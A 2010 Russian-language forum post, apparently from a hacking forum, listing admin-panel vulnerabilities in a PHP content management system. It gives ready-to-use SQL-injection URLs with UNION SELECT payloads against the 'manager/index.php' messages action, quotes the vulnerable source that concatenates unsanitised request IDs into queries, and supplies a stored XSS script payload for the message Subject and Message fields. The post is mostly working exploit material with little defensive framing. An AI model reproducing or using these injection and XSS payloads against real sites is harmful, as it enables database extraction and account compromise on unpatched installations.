
25.01.2010, 13:20
|
|
Участник форума
Регистрация: 29.03.2005
Сообщений: 138
Провел на форуме: 812087
Репутация:
129
|
|
9)SQL-injection
Условия: Доступ в панель администрирования
Код:
http://host/manager/index.php?a=10&id=1 and 3=1 union select 1,2,user(),4,5,1,7,8,9/*&m=r
Уязвимый код messages.static.action.php:
PHP код:
$sql = "SELECT * FROM $dbase.".$table_prefix."user_messages WHERE $dbase.".$table_prefix."user_messages.id=".$_REQUEST['id'];
$rs = mysql_query($sql);
$limit = mysql_num_rows($rs);
if($limit!=1)
{
echo "Wrong number of messages returned!";
}
else
{
$message=mysql_fetch_assoc($rs);
if($message['recipient']!=$_SESSION['internalKey'])
{
echo $_lang['messages_not_allowed_to_read'];
}
else
{
// output message! // get the name of the sender
$sender = $message['sender'];
if($sender==0)
{
$sendername = $_lang['messages_system_user'];
}
else
{
$sql = "SELECT username FROM $dbase.".$table_prefix."manager_users WHERE id=$sender";
$rs2 = mysql_query($sql);
$row2 = mysql_fetch_assoc($rs2);
$sendername = $row2['username'];
}
И еще одна в этом же файле:
Код:
http://host/manager/index.php?a=10&t=c&m=rp&id=1 and 3=1 union select 1,2,user(),4,5,1,7,8,9/*
PHP код:
if(($_REQUEST['m']=='rp' || $_REQUEST['m']=='f') && isset($_REQUEST['id']))
{
$sql = "SELECT * FROM $dbase.".$table_prefix."user_messages WHERE $dbase.".$table_prefix."user_messages.id=".$_REQUEST['id'];
$rs = mysql_query($sql);
$limit = mysql_num_rows($rs);
if($limit!=1)
{
echo "Wrong number of messages returned!";
}
else
{
$message=mysql_fetch_assoc($rs);
if($message['recipient']!=$_SESSION['internalKey'])
{
echo $_lang['messages_not_allowed_to_read'];
}
else
{
// output message! // get the name of the sender
$sender = $message['sender'];
if($sender==0)
{
$sendername = "[System]";
}
else
{
$sql = "SELECT username FROM $dbase.".$table_prefix."manager_users WHERE id=$sender";
$rs2 = mysql_query($sql);
$row2 = mysql_fetch_assoc($rs2);
$sendername = $row2['username'];
}
$subjecttext = $_REQUEST['m']=='rp' ? "Re: " : "Fwd: ";
$subjecttext .= $message['subject'];
$messagetext = "\n\n\n-----\n".$_lang['messages_from'].": $sendername\n".$_lang['messages_sent'].": ".strftime($date_format.' @ '.$time_format, $message['postdate']+$server_offset_time)."\n".$_lang['messages_subject'].": ".$message['subject']."\n\n".$message['message'];
if($_REQUEST['m']=='rp')
{
$recipientindex = $message['sender'];
}
}
}
}
Одновременно с этими выдержками из кода ... значения переданные через id, должны не препятствовать истинности выполнить sql-запрос в следующем участке кода файла accesscontrol.inc.php:
PHP код:
$itemid = (isset($_REQUEST['id']) && !empty($_REQUEST['id'])) ? $_REQUEST['id'] : 'NULL';
$lasthittime = time();
$a = isset($_REQUEST['a']) ? $_REQUEST['a'] : "" ;
if($a!=1) {
$sql = "REPLACE INTO $dbase.".$table_prefix."active_users(internalKey, username, lasthit, action, id, ip) values(".$_SESSION['internalKey'].", '".$_SESSION['shortname']."', '".$lasthittime."', '".$a."', ".($itemid == 'NULL' ? 'NULL' : "'$itemid'").", '$ip')";
if(!$rs = mysql_query($sql)) {
echo "error replacing into active users! SQL: ".$sql;
exit;
}
}
9)Active XSS
Условия: Доступ в панель администрирования
Не фильтруемые поля "Subject" и "Message" при отправке сообщения вставляем
Код:
<script>alert('hello')</script>
Уязвимый код send_message.processor.php:
PHP код:
$sendto = $_POST['sendto'];
$userid = $_POST['user'];
$groupid = $_POST['group'];
$subject = addslashes($_POST['messagesubject']); if($subject == "") $subject = "(no subject)";
$message = addslashes($_POST['messagebody']);
if($message == "") $message = "(no message)";
$postdate = time();
.............
$sql = "INSERT INTO ".$db."user_messages SET id = '', type = 'Message', subject = '$subject', message = '$message', sender = ". $_SESSION['internalKey'].", recipient = $userid, private = 1, postdate = $postdate, messageread = 0; ";
$rs = mysql_query($sql);
Последний раз редактировалось [NiGHT]DarkAngel; 25.01.2010 в 16:14..
|
|
|